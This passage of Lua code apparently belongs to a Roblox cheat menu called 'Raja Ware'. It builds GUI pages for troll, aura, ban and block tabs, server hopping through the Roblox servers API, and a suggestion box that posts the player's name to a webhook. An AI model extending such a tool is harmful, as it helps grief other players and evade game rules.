contentArea.ZIndex = 11

function makePage()
    local p = Instance.new("Frame", contentArea)
    p.Size = UDim2.new(1, 0, 1, 0)
    p.BackgroundTransparency = 1
    p.BorderSizePixel = 0
    p.Visible = false
    p.ZIndex = 11
    return p
end

pMain = makePage()
pServerHop = makePage()
pCmds = makePage()
pBlk = makePage()
pTools = makePage()
pTrl = makePage()
pAura = makePage()
pOthers = makePage()
pBan = makePage()

allPages = {pMain, pServerHop, pCmds, pBlk, pTools, pTrl, pAura, pOthers, pBan}

function makeSF(parent, yOff)
    local sf = Instance.new("ScrollingFrame", parent)
    sf.Size = UDim2.new(1, -4, 1, -(yOff or 0))
    sf.Position = UDim2.new(0, 2, 0, yOff or 0)
    sf.BackgroundTransparency = 1
    sf.BorderSizePixel = 0
    sf.ScrollBarThickness = 3
    sf.ScrollBarImageColor3 = Color3.fromRGB(255, 80, 0)
    sf.CanvasSize = UDim2.new(0, 0, 0, 0)
    sf.ScrollingDirection = Enum.ScrollingDirection.Y
    sf.ZIndex = 12
    local l = Instance.new("UIListLayout", sf)
    l.Padding = UDim.new(0, 6)
    l.HorizontalAlignment = Enum.HorizontalAlignment.Center
    local p2 = Instance.new("UIPadding", sf)
    p2.PaddingTop = UDim.new(0, 6)
    return sf
end

mainScroll = makeSF(pMain, 0)
serverHopScroll = makeSF(pServerHop, 0)
searchFrameCmds = Instance.new("Frame", pCmds)
searchFrameCmds.Size = UDim2.new(1, -10, 0, 24)
searchFrameCmds.Position = UDim2.new(0, 5, 0, 5)
searchFrameCmds.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
searchFrameCmds.BorderSizePixel = 0
Instance.new("UICorner", searchFrameCmds).CornerRadius = UDim.new(0, 6)
Instance.new("UIStroke", searchFrameCmds).Color = Color3.fromRGB(255, 80, 0)
local sIcon = Instance.new("TextLabel", searchFrameCmds)
sIcon.Size = UDim2.new(0, 20, 1, 0)
sIcon.Position = UDim2.new(0, 3, 0, 0)
sIcon.BackgroundTransparency = 1
sIcon.Text = "⌕"
sIcon.TextColor3 = Color3.fromRGB(255,80,0)
sIcon.Font = Enum.Font.GothamBold
sIcon.TextSize = 14
sIcon.ZIndex = 13
local searchBox = Instance.new("TextBox", searchFrameCmds)
searchBox.Size = UDim2.new(1, -24, 1, 0)
searchBox.Position = UDim2.new(0, 22, 0, 0)
searchBox.BackgroundTransparency = 1
searchBox.PlaceholderText = "Search commands..."
searchBox.PlaceholderColor3 = Color3.fromRGB(50, 50, 50)
searchBox.Text = ""
searchBox.TextColor3 = Color3.fromRGB(220, 220, 220)
searchBox.Font = Enum.Font.Gotham
searchBox.TextSize = 10
searchBox.TextXAlignment = Enum.TextXAlignment.Left
searchBox.ClearTextOnFocus = false
searchBox.ZIndex = 13
local scrollFrame = makeSF(pCmds, 33)

customInputFrame = Instance.new("Frame", pBlk)
customInputFrame.Size = UDim2.new(1, -10, 0, 24)
customInputFrame.Position = UDim2.new(0, 5, 0, 5)
customInputFrame.BackgroundColor3 = Color3.fromRGB(17, 17, 17)
customInputFrame.BorderSizePixel = 0
Instance.new("UICorner", customInputFrame).CornerRadius = UDim.new(0, 6)
Instance.new("UIStroke", customInputFrame).Color = Color3.fromRGB(255, 80, 0)
local customInput = Instance.new("TextBox", customInputFrame)
customInput.Size = UDim2.new(1, -50, 1, 0)
customInput.Position = UDim2.new(0, 6, 0, 0)
customInput.BackgroundTransparency = 1
customInput.PlaceholderText = "Block name..."
customInput.PlaceholderColor3 = Color3.fromRGB(50, 50, 50)
customInput.Text = ""
customInput.TextColor3 = Color3.fromRGB(220, 220, 220)
customInput.Font = Enum.Font.Gotham
customInput.TextSize = 10
customInput.TextXAlignment = Enum.TextXAlignment.Left
customInput.ClearTextOnFocus = false
local addBtn = Instance.new("TextButton", customInputFrame)
addBtn.Size = UDim2.new(0, 40, 1, -4)
addBtn.Position = UDim2.new(1, -44, 0, 2)
addBtn.BackgroundColor3 = Color3.fromRGB(200, 60, 0)
addBtn.Text = "+ADD"
addBtn.TextColor3 = Color3.new(1,1,1)
addBtn.Font = Enum.Font.GothamBold
addBtn.TextSize = 9
addBtn.BorderSizePixel = 0
Instance.new("UICorner", addBtn).CornerRadius = UDim.new(0, 4)
local customScroll = makeSF(pBlk, 33)

toolsScroll = makeSF(pTools, 0)
trollScroll = makeSF(pTrl, 0)
auraScroll = makeSF(pAura, 0)
othersScroll = makeSF(pOthers, 0)

-- PROFILE CARD
local profileCard = Instance.new("Frame", mainScroll)
profileCard.Size = UDim2.new(0.97, 0, 0, 100)
profileCard.BackgroundColor3 = Color3.fromRGB(18, 10, 5)
profileCard.BorderSizePixel = 0
Instance.new("UICorner", profileCard).CornerRadius = UDim.new(0, 12)
local profileStroke = Instance.new("UIStroke", profileCard)
profileStroke.Color = Color3.fromRGB(255, 80, 0)
profileStroke.Thickness = 1.2
profileStroke.Transparency = 0.2

local avatarDisplay = Instance.new("ImageLabel", profileCard)
avatarDisplay.Size = UDim2.new(0, 60, 0, 60)
avatarDisplay.Position = UDim2.new(0, 8, 0.5, -30)
avatarDisplay.BackgroundColor3 = Color3.fromRGB(25, 25, 25)
avatarDisplay.BorderSizePixel = 0
avatarDisplay.ScaleType = Enum.ScaleType.Fit
Instance.new("UICorner", avatarDisplay).CornerRadius = UDim.new(0, 10)
avatarDisplay.Image = "rbxthumb://type=AvatarHeadShot&id=" .. player.UserId .. "&w=150&h=150"

local profName = Instance.new("TextLabel", profileCard)
profName.Size = UDim2.new(1, -80, 0, 24)
profName.Position = UDim2.new(0, 76, 0, 8)
profName.BackgroundTransparency = 1
profName.Text = player.Name .. (player.Name == OWNER_NAME and " 👑" or "")
profName.TextColor3 = Color3.fromRGB(255, 140, 0)
profName.Font = Enum.Font.GothamBold
profName.TextSize = 14
profName.TextXAlignment = Enum.TextXAlignment.Left

local profDisplay = Instance.new("TextLabel", profileCard)
profDisplay.Size = UDim2.new(1, -80, 0, 16)
profDisplay.Position = UDim2.new(0, 76, 0, 32)
profDisplay.BackgroundTransparency = 1
profDisplay.Text = "@" .. player.DisplayName
profDisplay.TextColor3 = Color3.fromRGB(140, 140, 140)
profDisplay.Font = Enum.Font.Gotham
profDisplay.TextSize = 10
profDisplay.TextXAlignment = Enum.TextXAlignment.Left

local statsRow = Instance.new("Frame", profileCard)
statsRow.Size = UDim2.new(1, -80, 0, 20)
statsRow.Position = UDim2.new(0, 76, 0, 50)
statsRow.BackgroundTransparency = 1

local stat1 = Instance.new("TextLabel", statsRow)
stat1.Size = UDim2.new(0.33, -4, 1, 0)
stat1.BackgroundTransparency = 1
stat1.Text = "❤️ " .. (humanoid and math.floor(humanoid.Health) or "?")
stat1.TextColor3 = Color3.fromRGB(255, 100, 100)
stat1.Font = Enum.Font.GothamBold
stat1.TextSize = 9
stat1.TextXAlignment = Enum.TextXAlignment.Left

local stat2 = Instance.new("TextLabel", statsRow)
stat2.Size = UDim2.new(0.33, -4, 1, 0)
stat2.Position = UDim2.new(0.33, 0, 0, 0)
stat2.BackgroundTransparency = 1
stat2.Text = "📅 " .. player.AccountAge .. "d"
stat2.TextColor3 = Color3.fromRGB(100, 200, 255)
stat2.Font = Enum.Font.GothamBold
stat2.TextSize = 9
stat2.TextXAlignment = Enum.TextXAlignment.Left

local stat3 = Instance.new("TextLabel", statsRow)
stat3.Size = UDim2.new(0.34, -4, 1, 0)
stat3.Position = UDim2.new(0.66, 0, 0, 0)
stat3.BackgroundTransparency = 1
stat3.Text = "⚡ " .. (player.Team and player.Team.Name or "None")
stat3.TextColor3 = Color3.fromRGB(255, 200, 100)
stat3.Font = Enum.Font.GothamBold
stat3.TextSize = 9
stat3.TextXAlignment = Enum.TextXAlignment.Left

task.spawn(function()
    while profileCard and profileCard.Parent do
        pcall(function()
            local c = player.Character
            local h = c and c:FindFirstChildOfClass("Humanoid")
            stat1.Text = "❤️ " .. (h and math.floor(h.Health) or "?")
            stat3.Text = "⚡ " .. (player.Team and player.Team.Name or "None")
        end)
        task.wait(2)
    end
end)

function makeSectionHeader(parent, text)
    local h = Instance.new("Frame", parent)
    h.Size = UDim2.new(0.97, 0, 0, 24)
    h.BackgroundColor3 = Color3.fromRGB(22, 8, 0)
    h.BorderSizePixel = 0
    Instance.new("UICorner", h).CornerRadius = UDim.new(0, 7)
    Instance.new("UIStroke", h).Color = Color3.fromRGB(255, 80, 0)
    local hl = Instance.new("TextLabel", h)
    hl.Size = UDim2.new(1, 0, 1, 0)
    hl.BackgroundTransparency = 1
    hl.Text = text
    hl.TextColor3 = Color3.fromRGB(255, 120, 0)
    hl.Font = Enum.Font.GothamBlack
    hl.TextSize = 10
    return h
end

-- ========== ARKENSTONE PLAYER LIST ==========
makeSectionHeader(mainScroll, "💎  ARKENSTONE HOLDERS")
local arkenstoneListFrame = Instance.new("ScrollingFrame", mainScroll)
arkenstoneListFrame.Size = UDim2.new(0.97, 0, 0, 100)
arkenstoneListFrame.BackgroundColor3 = Color3.fromRGB(14, 14, 14)
arkenstoneListFrame.BorderSizePixel = 0
Instance.new("UICorner", arkenstoneListFrame).CornerRadius = UDim.new(0, 8)
Instance.new("UIStroke", arkenstoneListFrame).Color = Color3.fromRGB(0, 255, 255)
arkenstoneListFrame.ScrollBarThickness = 3
arkenstoneListFrame.ScrollBarImageColor3 = Color3.fromRGB(0, 255, 255)

local arkenstoneListLayout = Instance.new("UIListLayout", arkenstoneListFrame)
arkenstoneListLayout.Padding = UDim.new(0, 4)
arkenstoneListLayout.SortOrder = Enum.SortOrder.Name

local function updateArkenstoneListUI()
    for _, child in ipairs(arkenstoneListFrame:GetChildren()) do
        if child:IsA("TextLabel") or child:IsA("Frame") then
            child:Destroy()
        end
    end
    
    local arkenstoneFound = false
    for name, hasArkenstone in pairs(arkenstonePlayers) do
        if hasArkenstone then
            arkenstoneFound = true
            local playerEntry = Instance.new("Frame", arkenstoneListFrame)
            playerEntry.Size = UDim2.new(1, -10, 0, 28)
            playerEntry.BackgroundColor3 = Color3.fromRGB(0, 20, 20)
            playerEntry.BorderSizePixel = 0
            Instance.new("UICorner", playerEntry).CornerRadius = UDim.new(0, 6)
            
            local icon = Instance.new("TextLabel", playerEntry)
            icon.Size = UDim2.new(0, 28, 1, 0)
            icon.Position = UDim2.new(0, 4, 0, 0)
            icon.BackgroundTransparency = 1
            icon.Text = "💎"
            icon.TextSize = 14
            icon.Font = Enum.Font.Gotham
            
            local playerNameLabel = Instance.new("TextLabel", playerEntry)
            playerNameLabel.Size = UDim2.new(1, -50, 1, 0)
            playerNameLabel.Position = UDim2.new(0, 36, 0, 0)
            playerNameLabel.BackgroundTransparency = 1
            if name == OWNER_NAME then
                playerNameLabel.Text = "👑 " .. name .. " 👑"
            else
                playerNameLabel.Text = name
            end
            playerNameLabel.TextColor3 = Color3.fromRGB(0, 255, 255)
            playerNameLabel.Font = Enum.Font.GothamBold
            playerNameLabel.TextSize = 11
            playerNameLabel.TextXAlignment = Enum.TextXAlignment.Left
            
            local badgeLabel = Instance.new("TextLabel", playerEntry)
            badgeLabel.Size = UDim2.new(0, 70, 1, 0)
            badgeLabel.Position = UDim2.new(1, -74, 0, 0)
            badgeLabel.BackgroundTransparency = 1
            badgeLabel.Text = "ARKENSTONE"
            badgeLabel.TextColor3 = Color3.fromRGB(0, 200, 200)
            badgeLabel.Font = Enum.Font.GothamBold
            badgeLabel.TextSize = 8
        end
    end
    
    if not arkenstoneFound then
        local emptyLabel = Instance.new("TextLabel", arkenstoneListFrame)
        emptyLabel.Size = UDim2.new(1, -10, 0, 28)
        emptyLabel.BackgroundTransparency = 1
        emptyLabel.Text = "💎 No Arkenstone holders detected..."
        emptyLabel.TextColor3 = Color3.fromRGB(100, 100, 100)
        emptyLabel.Font = Enum.Font.Gotham
        emptyLabel.TextSize = 9
    end
    
    local count = 0
    for _, child in ipairs(arkenstoneListFrame:GetChildren()) do
        if child:IsA("Frame") or (child:IsA("TextLabel") and child.Text:find("No Arkenstone")) then
            count = count + 1
        end
    end
    arkenstoneListFrame.CanvasSize = UDim2.new(0, 0, 0, math.max(100, count * 32))
end

task.spawn(function()
    while arkenstoneListFrame and arkenstoneListFrame.Parent do
        updateArkenstoneListUI()
        task.wait(5)
    end
end)

-- SERVER INFO SECTION
makeSectionHeader(mainScroll, "📊  SERVER INFO")
local statRows = {
    {icon = "👥", label = "Players", fn = function() return #Players:GetPlayers() end},
    {icon = "⏱", label = "Uptime", fn = function() return math.floor(workspace.DistributedGameTime) .. "s" end},
    {icon = "🗺", label = "Place ID", fn = function() return tostring(game.PlaceId) end},
    {icon = "🔗", label = "Job ID", fn = function() return string.sub(game.JobId, 1, 8) .. "..." end},
}
for _, sr in ipairs(statRows) do
    local rr = Instance.new("Frame", mainScroll)
    rr.Size = UDim2.new(0.97, 0, 0, 32)
    rr.BackgroundColor3 = Color3.fromRGB(14,14,14)
    rr.BorderSizePixel = 0
    Instance.new("UICorner", rr).CornerRadius = UDim.new(0, 8)
    Instance.new("UIStroke", rr).Color = Color3.fromRGB(24,24,24)
    local riL = Instance.new("TextLabel", rr)
    riL.Size = UDim2.new(0, 28, 1, 0)
    riL.Position = UDim2.new(0, 6, 0, 0)
    riL.BackgroundTransparency = 1
    riL.Text = sr.icon
    riL.TextSize = 14
    riL.Font = Enum.Font.Gotham
    local rlL = Instance.new("TextLabel", rr)
    rlL.Size = UDim2.new(0.5, 0, 1, 0)
    rlL.Position = UDim2.new(0, 36, 0, 0)
    rlL.BackgroundTransparency = 1
    rlL.Text = sr.label
    rlL.TextColor3 = Color3.fromRGB(140,140,140)
    rlL.Font = Enum.Font.GothamBold
    rlL.TextSize = 10
    rlL.TextXAlignment = Enum.TextXAlignment.Left
    local rvL = Instance.new("TextLabel", rr)
    rvL.Size = UDim2.new(0.4, 0, 1, 0)
    rvL.Position = UDim2.new(0.58, 0, 0, 0)
    rvL.BackgroundTransparency = 1
    rvL.Text = tostring(sr.fn())
    rvL.TextColor3 = Color3.fromRGB(255,100,0)
    rvL.Font = Enum.Font.GothamBold
    rvL.TextSize = 10
    rvL.TextXAlignment = Enum.TextXAlignment.Right
    local fn2 = sr.fn
    task.spawn(function()
        while rr and rr.Parent do
            pcall(function() rvL.Text = tostring(fn2()) end)
            task.wait(1)
        end
    end)
end

-- Update mainScroll canvas size
mainScroll.CanvasSize = UDim2.new(0, 0, 0, 100 + 100 + 24 + 100 + 4 * 36 + 20)

-- ========== SUGGESTION BOX ==========
makeSectionHeader(mainScroll, "💡  SUGGESTION BOX")
local suggestFrame = Instance.new("Frame", mainScroll)
suggestFrame.Size = UDim2.new(0.97, 0, 0, 85)
suggestFrame.BackgroundColor3 = Color3.fromRGB(22, 8, 0)
suggestFrame.BorderSizePixel = 0
Instance.new("UICorner", suggestFrame).CornerRadius = UDim.new(0, 9)
Instance.new("UIStroke", suggestFrame).Color = Color3.fromRGB(255, 80, 0)

local suggestIcon = Instance.new("TextLabel", suggestFrame)
suggestIcon.Size = UDim2.new(0, 34, 0, 34)
suggestIcon.Position = UDim2.new(0, 8, 0, 8)
suggestIcon.BackgroundTransparency = 1
suggestIcon.Text = "💡"
suggestIcon.TextSize = 22
suggestIcon.Font = Enum.Font.Gotham

local suggestTitle = Instance.new("TextLabel", suggestFrame)
suggestTitle.Size = UDim2.new(1, -50, 0, 18)
suggestTitle.Position = UDim2.new(0, 50, 0, 6)
suggestTitle.BackgroundTransparency = 1
suggestTitle.Text = "Send Feature Suggestions"
suggestTitle.TextColor3 = Color3.fromRGB(255, 140, 0)
suggestTitle.Font = Enum.Font.GothamBold
suggestTitle.TextSize = 11
suggestTitle.TextXAlignment = Enum.TextXAlignment.Left

local suggestDesc = Instance.new("TextLabel", suggestFrame)
suggestDesc.Size = UDim2.new(1, -50, 0, 14)
suggestDesc.Position = UDim2.new(0, 50, 0, 26)
suggestDesc.BackgroundTransparency = 1
suggestDesc.Text = "Help improve Raja Ware by sending your ideas (6 hour cooldown)"
suggestDesc.TextColor3 = Color3.fromRGB(100, 100, 100)
suggestDesc.Font = Enum.Font.Gotham
suggestDesc.TextSize = 8
suggestDesc.TextXAlignment = Enum.TextXAlignment.Left

local suggestInputRow = Instance.new("Frame", suggestFrame)
suggestInputRow.Size = UDim2.new(1, -20, 0, 32)
suggestInputRow.Position = UDim2.new(0, 10, 0, 46)
suggestInputRow.BackgroundTransparency = 1

local suggestBox = Instance.new("TextBox", suggestInputRow)
suggestBox.Size = UDim2.new(0.7, -10, 1, 0)
suggestBox.Position = UDim2.new(0, 0, 0, 0)
suggestBox.BackgroundColor3 = Color3.fromRGB(30, 30, 30)
suggestBox.PlaceholderText = "Enter your suggestion..."
suggestBox.TextColor3 = Color3.new(1, 1, 1)
suggestBox.Font = Enum.Font.Gotham
suggestBox.TextSize = 10
suggestBox.TextXAlignment = Enum.TextXAlignment.Left
Instance.new("UICorner", suggestBox).CornerRadius = UDim.new(0, 6)
local padv = Instance.new("UIPadding", suggestBox)
padv.PaddingLeft = UDim.new(0, 8)

local suggestSend = Instance.new("TextButton", suggestInputRow)
suggestSend.Size = UDim2.new(0.25, 0, 1, 0)
suggestSend.Position = UDim2.new(0.72, 0, 0, 0)
suggestSend.BackgroundColor3 = Color3.fromRGB(255, 80, 0)
suggestSend.Text = "SEND"
suggestSend.TextColor3 = Color3.new(1, 1, 1)
suggestSend.Font = Enum.Font.GothamBold
suggestSend.TextSize = 11
suggestSend.BorderSizePixel = 0
Instance.new("UICorner", suggestSend).CornerRadius = UDim.new(0, 6)

local timerRow = Instance.new("Frame", suggestFrame)
timerRow.Size = UDim2.new(1, -20, 0, 16)
timerRow.Position = UDim2.new(0, 10, 0, 66)
timerRow.BackgroundTransparency = 1

local timerLabel = Instance.new("TextLabel", timerRow)
timerLabel.Size = UDim2.new(1, 0, 1, 0)
timerLabel.BackgroundTransparency = 1
timerLabel.Text = "✅ Ready to send!"
timerLabel.TextColor3 = Color3.fromRGB(0, 200, 0)
timerLabel.Font = Enum.Font.Gotham
timerLabel.TextSize = 8
timerLabel.TextXAlignment = Enum.TextXAlignment.Left

local lastSuggestionTime = 0
local SUGGESTION_COOLDOWN = 6 * 60 * 60

local function updateTimerDisplay()
    local timeLeft = (lastSuggestionTime + SUGGESTION_COOLDOWN) - os.time()
    if timeLeft <= 0 then
        timerLabel.Text = "✅ Ready to send!"
        timerLabel.TextColor3 = Color3.fromRGB(0, 200, 0)
        suggestSend.BackgroundColor3 = Color3.fromRGB(255, 80, 0)
        suggestSend.TextColor3 = Color3.new(1, 1, 1)
        suggestSend.Visible = true
        return true
    else
        local hours = math.floor(timeLeft / 3600)
        local minutes = math.floor((timeLeft % 3600) / 60)
        local seconds = timeLeft % 60
        timerLabel.Text = string.format("⏱️ Cooldown: %02d:%02d:%02d until next suggestion", hours, minutes, seconds)
        timerLabel.TextColor3 = Color3.fromRGB(255, 100, 100)
        suggestSend.BackgroundColor3 = Color3.fromRGB(80, 80, 80)
        suggestSend.TextColor3 = Color3.fromRGB(150, 150, 150)
        suggestSend.Visible = false
        return false
    end
end

task.spawn(function()
    while suggestFrame and suggestFrame.Parent do
        updateTimerDisplay()
        task.wait(1)
    end
end)

suggestSend.MouseButton1Click:Connect(function()
    local suggestion = suggestBox.Text:match("^%s*(.-)%s*$")
    if suggestion and suggestion ~= "" then
        if os.time() >= lastSuggestionTime + SUGGESTION_COOLDOWN then
            toggleSound:Play()
            sendWebhook(WEBHOOK_URL, "💡 New Suggestion", "**From:** " .. player.Name .. "\n**Suggestion:** " .. suggestion, 0xFFAA00)
            showNotif("💡 Suggestion sent! Thank you! (Next in 6 hours)", Color3.fromRGB(0, 200, 60))
            lastSuggestionTime = os.time()
            suggestBox.Text = ""
            updateTimerDisplay()
        else
            local timeLeft = (lastSuggestionTime + SUGGESTION_COOLDOWN) - os.time()
            local hours = math.floor(timeLeft / 3600)
            local minutes = math.floor((timeLeft % 3600) / 60)
            showNotif(string.format("❌ Please wait %02d:%02d before sending another suggestion!", hours, minutes), Color3.fromRGB(255, 40, 0))
        end
    else
        showNotif("❌ Please enter a suggestion!", Color3.fromRGB(255, 40, 0))
    end
end)

-- SERVER HOP
makeSectionHeader(serverHopScroll, "🌐  SERVER HOP")
local serverList = {
    {name = "XL Server", id = 12943245078, desc = "Most popular TCO server"},
    {name = "OG Server", id = 7145147625, desc = "Original TCO server"},
    {name = "VC Server", id = 13698451930, desc = "Voice chat enabled"},
}
local function joinServer(placeId, jobId)
    showNotif("🌐 Joining server...", Color3.fromRGB(100, 180, 255))
    task.wait(0.5)
    pcall(function() TeleportService:TeleportToPlaceInstance(placeId, jobId, player) end)
end
local function findBiggestServer(placeId)
    local bestJobId, bestCount = nil, -1
    local cursor = ""
    for page = 1, 3 do
        local url = "https://games.roblox.com/v1/games/" .. placeId .. "/servers/Public?sortOrder=Desc&limit=100"
        if cursor ~= "" then url = url .. "&cursor=" .. cursor end
        local ok, result = pcall(function() return HttpService:JSONDecode(game:HttpGet(url)) end)
        if not ok or not result or not result.data then break end
        for _, server in ipairs(result.data) do
            local count = server.playing or 0
            if count > bestCount then bestCount = count; bestJobId = server.id end
        end
        if not result.nextPageCursor or result.nextPageCursor == HttpService.null then break end
        cursor = result.nextPageCursor
    end
    return bestJobId, bestCount
end
for _, server in ipairs(serverList) do
    local serverCard = Instance.new("Frame", serverHopScroll)
    serverCard.Size = UDim2.new(0.97, 0, 0, 65)
    serverCard.BackgroundColor3 = Color3.fromRGB(14, 14, 14)
    serverCard.BorderSizePixel = 0
    Instance.new("UICorner", serverCard).CornerRadius = UDim.new(0, 9)
    Instance.new("UIStroke", serverCard).Color = Color3.fromRGB(255, 80, 0)
    serverCard.BackgroundTransparency = 0.1
    local serverIcon = Instance.new("TextLabel", serverCard)
    serverIcon.Size = UDim2.new(0, 40, 1, 0)
    serverIcon.Position = UDim2.new(0, 8, 0, 0)
    serverIcon.BackgroundTransparency = 1
    serverIcon.Text = "🌐"
    serverIcon.TextSize = 22
    local serverName = Instance.new("TextLabel", serverCard)
    serverName.Size = UDim2.new(1, -110, 0.4, 0)
    serverName.Position = UDim2.new(0, 54, 0, 6)
    serverName.BackgroundTransparency = 1
    serverName.Text = server.name
    serverName.TextColor3 = Color3.fromRGB(230, 230, 230)
    serverName.Font = Enum.Font.GothamBold
    serverName.TextSize = 11
    serverName.TextXAlignment = Enum.TextXAlignment.Left
    local serverDesc = Instance.new("TextLabel", serverCard)
    serverDesc.Size = UDim2.new(1, -110, 0.3, 0)
    serverDesc.Position = UDim2.new(0, 54, 0, 28)
    serverDesc.BackgroundTransparency = 1
    serverDesc.Text = server.desc
    serverDesc.TextColor3 = Color3.fromRGB(100, 100, 100)
    serverDesc.Font = Enum.Font.Gotham
    serverDesc.TextSize = 8
    local hopBtn = Instance.new("TextButton", serverCard)
    hopBtn.Size = UDim2.new(0, 70, 0, 26)
    hopBtn.Position = UDim2.new(1, -78, 0.5, -13)
    hopBtn.BackgroundColor3 = Color3.fromRGB(0, 130, 200)
    hopBtn.Text = "🌐 JOIN"
    hopBtn.TextColor3 = Color3.new(1,1,1)
    hopBtn.Font = Enum.Font.GothamBold
    hopBtn.TextSize = 10
    hopBtn.BorderSizePixel = 0
    Instance.new("UICorner", hopBtn).CornerRadius = UDim.new(0, 7)
    local bigBtn = Instance.new("TextButton", serverCard)
    bigBtn.Size = UDim2.new(0, 70, 0, 26)
    bigBtn.Position = UDim2.new(1, -78, 0.5, 16)
    bigBtn.BackgroundColor3 = Color3.fromRGB(255, 80, 0)
    bigBtn.Text = "⭐ BIGGEST"
    bigBtn.TextColor3 = Color3.new(1,1,1)
    bigBtn.Font = Enum.Font.GothamBold
    bigBtn.TextSize = 9
    bigBtn.BorderSizePixel = 0
    Instance.new("UICorner", bigBtn).CornerRadius = UDim.new(0, 7)
    local pid = server.id
    hopBtn.MouseButton1Click:Connect(function()
        clickSound:Play()
        showNotif("🌐 Joining " .. server.name .. "...", Color3.fromRGB(100, 180, 255))
        pcall(function() TeleportService:Teleport(pid, player) end)
    end)
    bigBtn.MouseButton1Click:Connect(function()
        clickSound:Play()
        showNotif("🔍 Finding biggest " .. server.name .. "...", Color3.fromRGB(255, 150, 0))
        task.spawn(function()
            local jobId, playerCount = findBiggestServer(pid)
            if not jobId then showNotif("❌ No servers found!", Color3.fromRGB(255,40,0)) return end
            if game.JobId == jobId then showNotif("✅ Already in biggest server!", Color3.fromRGB(0,200,60)) return end
            showNotif("🌐 Found " .. playerCount .. " players! Joining...", Color3.fromRGB(0,200,60))
            task.wait(0.5)
            joinServer(pid, jobId)
        end)
    end)
end
serverHopScroll.CanvasSize = UDim2.new(0, 0, 0, 26 + #serverList * 65 + 20)

-- TABS
local ACTIVE_BG = Color3.fromRGB(200, 55, 0)
local INACTIVE_BG = Color3.fromRGB(18, 18, 18)
local ACTIVE_TXT = Color3.new(1, 1, 1)
local INACTIVE_TXT = Color3.fromRGB(100, 100, 100)

local tabData = {
    {n = "Main", i = "🏠", pg = pMain},
    {n = "Hop", i = "🌐", pg = pServerHop},
    {n = "Cmds", i = "⚡", pg = pCmds},
    {n = "Blk", i = "🧱", pg = pBlk},
    {n = "Tools", i = "🛠", pg = pTools},
    {n = "Trl", i = "😈", pg = pTrl},
    {n = "Aura", i = "✨", pg = pAura},
    {n = "Others", i = "🔍", pg = pOthers},
    {n = "Ban", i = "🚫", pg = pBan},
}

local tabBtns = {}
function switchPage(idx)
    for i, page in ipairs(allPages) do page.Visible = (i == idx) end
    for i, btn in ipairs(tabBtns) do
        local act = (i == idx)
        TweenService:Create(btn, TweenInfo.new(0.12), {BackgroundColor3 = act and ACTIVE_BG or INACTIVE_BG}):Play()
        btn.TextColor3 = act and ACTIVE_TXT or INACTIVE_TXT
        local ab = btn:FindFirstChild("AB")
        if ab then ab.Visible = act end
    end
end

for i, tab in ipairs(tabData) do
    local btn = Instance.new("TextButton", scrollSidebar)
    btn.Size = UDim2.new(0.88, 0, 0, 38)
    btn.BackgroundColor3 = i == 1 and ACTIVE_BG or INACTIVE_BG
    btn.TextColor3 = i == 1 and ACTIVE_TXT or INACTIVE_TXT
    btn.Font = Enum.Font.GothamBold
    btn.TextSize = 8
    btn.BorderSizePixel = 0
    btn.ZIndex = 13
    btn.Text = tab.i .. "\n" .. tab.n
    btn.LineHeight = 1.2
    Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 6)
    local ab = Instance.new("Frame", btn)
    ab.Name = "AB"
    ab.Size = UDim2.new(0, 3, 0.5, 0)
    ab.Position = UDim2.new(0, 0, 0.25, 0)
    ab.BackgroundColor3 = Color3.fromRGB(255,160,0)
    ab.BorderSizePixel = 0
    ab.ZIndex = 14
    ab.Visible = (i == 1)
    Instance.new("UICorner", ab).CornerRadius = UDim.new(1, 0)
    tabBtns[i] = btn
    local ci = i
    btn.MouseButton1Click:Connect(function() clickSound:Play(); switchPage(ci) end)
end
switchPage(1)

task.defer(function()
    local totalHeight = 0
    for _, child in ipairs(scrollSidebar:GetChildren()) do
        if child:IsA("TextButton") then
            totalHeight = totalHeight + child.AbsoluteSize.Y + sbLayout.Padding.Offset
        end
    end
    scrollSidebar.CanvasSize = UDim2.new(0, 0, 0, totalHeight + sbPad.PaddingTop.Offset)
end)

-- ROW BUILDER
function makeRow(parent, icon, title, desc, isRed, noToggle)
    local row = Instance.new("Frame", parent)
    row.Size = UDim2.new(0.97, 0, 0, 44)
    row.BackgroundColor3 = Color3.fromRGB(14, 14, 14)
    row.BorderSizePixel = 0
    row.ZIndex = 12
    Instance.new("UICorner", row).CornerRadius = UDim.new(0, 9)
    local rs = Instance.new("UIStroke", row)
    rs.Color = Color3.fromRGB(24, 24, 24)
    rs.Thickness = 1
    local ab2 = Instance.new("Frame", row)
    ab2.Size = UDim2.new(0, 3, 0.52, 0)
    ab2.Position = UDim2.new(0, 0, 0.24, 0)
    ab2.BackgroundColor3 = Color3.fromRGB(255, 80, 0)
    ab2.BackgroundTransparency = 1
    ab2.BorderSizePixel = 0
    ab2.ZIndex = 13
    Instance.new("UICorner", ab2).CornerRadius = UDim.new(1, 0)
    local ib = Instance.new("Frame", row)
    ib.Size = UDim2.new(0, 34, 0, 34)
    ib.Position = UDim2.new(0, 7, 0.5, -17)
    ib.BackgroundColor3 = Color3.fromRGB(19, 19, 19)
    ib.BorderSizePixel = 0
    ib.ZIndex = 13
    Instance.new("UICorner", ib).CornerRadius = UDim.new(0, 9)
    Instance.new("UIStroke", ib).Color = Color3.fromRGB(32, 32, 32)
    local il = Instance.new("TextLabel", ib)
    il.Size = UDim2.new(1,0,1,0)
    il.BackgroundTransparency = 1
    il.Text = icon
    il.TextSize = 16
    il.Font = Enum.Font.GothamBold
    il.TextColor3 = Color3.fromRGB(255, 80, 0)
    il.ZIndex = 14
    local ts = Instance.new("Frame", row)
    ts.Size = UDim2.new(1, -80, 1, 0)
    ts.Position = UDim2.new(0, 44, 0, 0)
    ts.BackgroundTransparency = 1
    ts.ZIndex = 13
    local tl = Instance.new("TextLabel", ts)
    tl.Size = UDim2.new(1, 0, 0.52, 0)
    tl.BackgroundTransparency = 1
    tl.Text = title
    tl.TextColor3 = Color3.fromRGB(200, 200, 200)
    tl.Font = Enum.Font.GothamBold
    tl.TextSize = 11
    tl.TextXAlignment = Enum.TextXAlignment.Left
    tl.ZIndex = 14
    local dl = Instance.new("TextLabel", ts)
    dl.Size = UDim2.new(1, 0, 0.42, 0)
    dl.Position = UDim2.new(0, 0, 0.56, 0)
    dl.BackgroundTransparency = 1
    dl.Text = desc
    dl.TextColor3 = Color3.fromRGB(55, 55, 55)
    dl.Font = Enum.Font.Gotham
    dl.TextSize = 8
    dl.TextXAlignment = Enum.TextXAlignment.Left
    dl.ZIndex = 14
